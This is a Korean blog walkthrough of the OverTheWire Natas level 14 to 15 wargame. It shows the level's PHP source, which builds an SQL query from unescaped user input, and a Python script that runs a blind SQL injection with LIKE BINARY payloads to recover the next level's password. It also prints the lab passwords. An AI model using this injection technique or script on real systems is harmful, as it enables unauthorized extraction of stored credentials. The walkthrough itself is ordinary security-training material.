Level 14 → Level 15
Web/Natas

Level 14 → Level 15

반응형


바로 소스를 보도록 합시다.

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>

 

Username 부분을 무조건 참으로 만들었더니 "This user doesn't exist."이 출력되는 걸로 보아서는

"Blind SQL Injection"을 이용해야 하는 것 같습니다.

 

먼저 유저 이름은 유추해서 대충 찾아봤는데 다음과 같았습니다.

이를 이용해서 한번 찾아보도록 합시다.

 

[ natas15.py ]

import requests, string

url = "http://natas15.natas.labs.overthewire.org/index.php"
auth_username = "natas15"
auth_password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
exist_user = "This user exists."

# characters =
#'abcabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
characters = ''.join([string.ascii_letters,string.digits])
pass_dict = []

print('Searching Used Characters', end='')
for char in characters:
    uri = ''.join([url,'?','username=natas16"+and+password+LIKE+BINARY+"%',char,'%','&debug'])
    r = requests.get(uri, auth=(auth_username,auth_password))
    #print(r.text)
    if exist_user in r.text:
        print('.', end='')
        pass_dict.append(char)

print()
print(pass_dict)

# username, password 모두 64 글자 이내의 길이
# password 비교는 case-sensitive!
# 그래서 LIKE BINARY 를 이용해 비교해준다.
print("Bruteforcing...")
password = ''
pass_list = []
for i in range(64):
    for char in pass_dict:
        check = ''.join([password,char])
        # Build the GET request
        uri = ''.join([url,'?','username=natas16"+and+password+LIKE+BINARY+"',check,'%','&debug'])
        r = requests.get(uri, auth=(auth_username,auth_password))

        # Parse the HTTP response
        if exist_user in r.text:
            pass_list.append(char)
            password = ''.join(pass_list)
            result = f'Length: {len(password)}, Password: {password}'
            print(result)

 원래라면 길이도 구한 다음에 돌리는 게 맞지만

어차피 64개 이하인거 그냥 다 돌리자 싶어 돌렸습니다.

그리고 어지간한 시간 지나도 결과 안 나오면 그게 끝이겠지 싶었죠.ㅎㅎㅎ

 

그래서 나온 결과는

이렇습니다.

이번에는 코딩하는게 가장 큰 난제였군요. 모르는 것이 있다면 댓글로 남겨주세요!

아무튼 다음으로 넘어가 봅시다.

 

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

반응형